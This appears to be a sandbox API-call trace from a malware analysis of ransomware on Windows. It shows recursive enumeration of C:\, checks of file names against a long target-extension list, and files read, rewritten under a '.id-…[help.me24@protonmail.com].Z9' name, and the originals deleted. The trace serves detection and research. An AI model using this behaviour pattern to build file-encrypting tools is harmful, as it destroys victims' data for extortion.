	[0097.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.450] lstrlenW (lpString=".zip") returned 4
	[0097.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.450] lstrlenW (lpString=".rar") returned 4
	[0097.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.450] lstrlenW (lpString=".bz2") returned 4
	[0097.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.450] lstrlenW (lpString=".7z") returned 3
	[0097.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.450] lstrlenW (lpString=".dbf") returned 4
	[0097.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.450] lstrlenW (lpString=".1cd") returned 4
	[0097.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.450] lstrlenW (lpString=".jpg") returned 4
	[0097.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.483] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0097.483] lstrlenW (lpString="J0099164.WMF") returned 12
	[0097.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0097.483] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=21946) returned 1
	[0097.483] CloseHandle (hObject=0x2bc) returned 1
	[0097.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220
	[0097.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0097.484] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.484] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0097.485] GetLastError () returned 0x0
	[0097.485] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x55ba, lpOverlapped=0x0) returned 1
	[0097.486] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x55c0, lpOverlapped=0x0) returned 1
	[0097.487] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.487] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.488] SetEndOfFile (hFile=0x398) returned 1
	[0097.488] CloseHandle (hObject=0x398) returned 1
	[0097.488] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.488] SetEndOfFile (hFile=0x2bc) returned 1
	[0097.489] CloseHandle (hObject=0x2bc) returned 1
	[0097.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1
	[0097.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.489] lstrlenW (lpString=".doc") returned 4
	[0097.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.489] lstrlenW (lpString=".docx") returned 5
	[0097.489] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0097.489] lstrlenW (lpString=".pdf") returned 4
	[0097.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.489] lstrlenW (lpString=".xls") returned 4
	[0097.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.489] lstrlenW (lpString=".xlsx") returned 5
	[0097.490] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0097.490] lstrlenW (lpString=".ppt") returned 4
	[0097.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.490] lstrlenW (lpString=".zip") returned 4
	[0097.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.490] lstrlenW (lpString=".rar") returned 4
	[0097.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.490] lstrlenW (lpString=".bz2") returned 4
	[0097.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.490] lstrlenW (lpString=".7z") returned 3
	[0097.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.490] lstrlenW (lpString=".dbf") returned 4
	[0097.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.490] lstrlenW (lpString=".1cd") returned 4
	[0097.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.490] lstrlenW (lpString=".jpg") returned 4
	[0097.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.490] lstrlenW (lpString=".doc") returned 4
	[0097.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.490] lstrlenW (lpString=".docx") returned 5
	[0097.490] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0097.490] lstrlenW (lpString=".pdf") returned 4
	[0097.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.490] lstrlenW (lpString=".xls") returned 4
	[0097.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.490] lstrlenW (lpString=".xlsx") returned 5
	[0097.490] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0097.490] lstrlenW (lpString=".ppt") returned 4
	[0097.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.491] lstrlenW (lpString=".zip") returned 4
	[0097.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.491] lstrlenW (lpString=".rar") returned 4
	[0097.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.491] lstrlenW (lpString=".bz2") returned 4
	[0097.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.491] lstrlenW (lpString=".7z") returned 3
	[0097.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.491] lstrlenW (lpString=".dbf") returned 4
	[0097.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.491] lstrlenW (lpString=".1cd") returned 4
	[0097.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0097.491] lstrlenW (lpString=".jpg") returned 4
	[0097.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.491] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0097.491] lstrlenW (lpString="J0099165.JPG") returned 12
	[0097.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0097.492] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=50490) returned 1
	[0097.492] CloseHandle (hObject=0x2bc) returned 1
	[0097.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220
	[0097.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0097.492] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.492] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0097.493] GetLastError () returned 0x0
	[0097.493] ReadFile (hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0) 

Thread:
	id = 13
	os_tid = 0x10f4

	[0068.654] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x30e0940
	[0068.655] lstrlenW (lpString="C:") returned 2
	[0068.655] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x519958
	[0068.655] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0068.655] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0068.655] lstrlenW (lpString="$GetCurrent") returned 11
	[0068.655] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0068.655] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x30f0948
	[0068.655] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0068.656] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x519518
	[0068.669] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0068.670] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0068.671] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0068.671] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0068.671] lstrlenW (lpString="Logs") returned 4
	[0068.671] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0068.671] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0068.671] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0068.671] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x519618
	[0068.701] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.701] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0068.701] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0068.701] lstrlenW (lpString=".1cd") returned 4
	[0068.701] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0068.701] lstrlenW (lpString=".3ds") returned 4
	[0068.701] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0068.701] lstrlenW (lpString=".3fr") returned 4
	[0068.701] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0068.701] lstrlenW (lpString=".3g2") returned 4
	[0068.701] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0068.701] lstrlenW (lpString=".3gp") returned 4
	[0068.701] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0068.701] lstrlenW (lpString=".7z") returned 3
	[0068.701] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0068.702] lstrlenW (lpString=".accda") returned 6
	[0068.702] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1
	[0068.702] lstrlenW (lpString=".accdb") returned 6
	[0068.702] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1
	[0068.702] lstrlenW (lpString=".accdc") returned 6
	[0068.702] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1
	[0068.702] lstrlenW (lpString=".accde") returned 6
	[0068.702] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1
	[0068.702] lstrlenW (lpString=".accdt") returned 6
	[0068.702] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1
	[0068.702] lstrlenW (lpString=".accdw") returned 6
	[0068.702] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1
	[0068.702] lstrlenW (lpString=".adb") returned 4
	[0068.702] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0068.702] lstrlenW (lpString=".adp") returned 4
	[0068.702] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0068.702] lstrlenW (lpString=".ai") returned 3
	[0068.702] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0068.702] lstrlenW (lpString=".ai3") returned 4
	[0068.702] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0068.702] lstrlenW (lpString=".ai4") returned 4
	[0068.702] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0068.702] lstrlenW (lpString=".ai5") returned 4
	[0068.702] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0068.702] lstrlenW (lpString=".ai6") returned 4
	[0068.702] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0068.702] lstrlenW (lpString=".ai7") returned 4
	[0068.702] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0068.702] lstrlenW (lpString=".ai8") returned 4
	[0068.702] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0068.702] lstrlenW (lpString=".anim") returned 5
	[0068.702] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1
	[0068.702] lstrlenW (lpString=".arw") returned 4
	[0068.702] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0068.703] lstrlenW (lpString=".as") returned 3
	[0068.703] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0068.703] lstrlenW (lpString=".asa") returned 4
	[0068.703] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0068.703] lstrlenW (lpString=".asc") returned 4
	[0068.703] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0068.703] lstrlenW (lpString=".ascx") returned 5
	[0068.703] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1
	[0068.703] lstrlenW (lpString=".asm") returned 4
	[0068.703] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0068.703] lstrlenW (lpString=".asmx") returned 5
	[0068.703] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1
	[0068.703] lstrlenW (lpString=".asp") returned 4
	[0068.703] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0068.703] lstrlenW (lpString=".aspx") returned 5
	[0068.703] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1
	[0068.703] lstrlenW (lpString=".asr") returned 4
	[0068.703] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0068.703] lstrlenW (lpString=".asx") returned 4
	[0068.703] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0068.703] lstrlenW (lpString=".avi") returned 4
	[0068.703] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0068.703] lstrlenW (lpString=".avs") returned 4
	[0068.703] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0068.703] lstrlenW (lpString=".backup") returned 7
	[0068.703] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1
	[0068.703] lstrlenW (lpString=".bak") returned 4
	[0068.703] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0068.703] lstrlenW (lpString=".bay") returned 4
	[0068.703] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0068.703] lstrlenW (lpString=".bd") returned 3
	[0068.703] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0068.703] lstrlenW (lpString=".bin") returned 4
	[0068.703] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".bmp") returned 4
	[0068.704] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".bz2") returned 4
	[0068.704] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".c") returned 2
	[0068.704] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0068.704] lstrlenW (lpString=".cdr") returned 4
	[0068.704] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".cer") returned 4
	[0068.704] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".cf") returned 3
	[0068.704] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0068.704] lstrlenW (lpString=".cfc") returned 4
	[0068.704] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".cfm") returned 4
	[0068.704] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".cfml") returned 5
	[0068.704] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1
	[0068.704] lstrlenW (lpString=".cfu") returned 4
	[0068.704] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".chm") returned 4
	[0068.704] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".cin") returned 4
	[0068.704] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".class") returned 6
	[0068.704] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1
	[0068.704] lstrlenW (lpString=".clx") returned 4
	[0068.704] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".config") returned 7
	[0068.704] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1
	[0068.704] lstrlenW (lpString=".cpp") returned 4
	[0068.704] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".cr2") returned 4
	[0068.704] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0068.704] lstrlenW (lpString=".crt") returned 4
	[0068.705] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".crw") returned 4
	[0068.705] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".cs") returned 3
	[0068.705] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0068.705] lstrlenW (lpString=".css") returned 4
	[0068.705] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".csv") returned 4
	[0068.705] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".cub") returned 4
	[0068.705] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".dae") returned 4
	[0068.705] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".dat") returned 4
	[0068.705] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".db") returned 3
	[0068.705] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
	[0068.705] lstrlenW (lpString=".dbf") returned 4
	[0068.705] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".dbx") returned 4
	[0068.705] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".dc3") returned 4
	[0068.705] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".dcm") returned 4
	[0068.705] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".dcr") returned 4
	[0068.705] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".der") returned 4
	[0068.705] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".dib") returned 4
	[0068.705] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".dic") returned 4
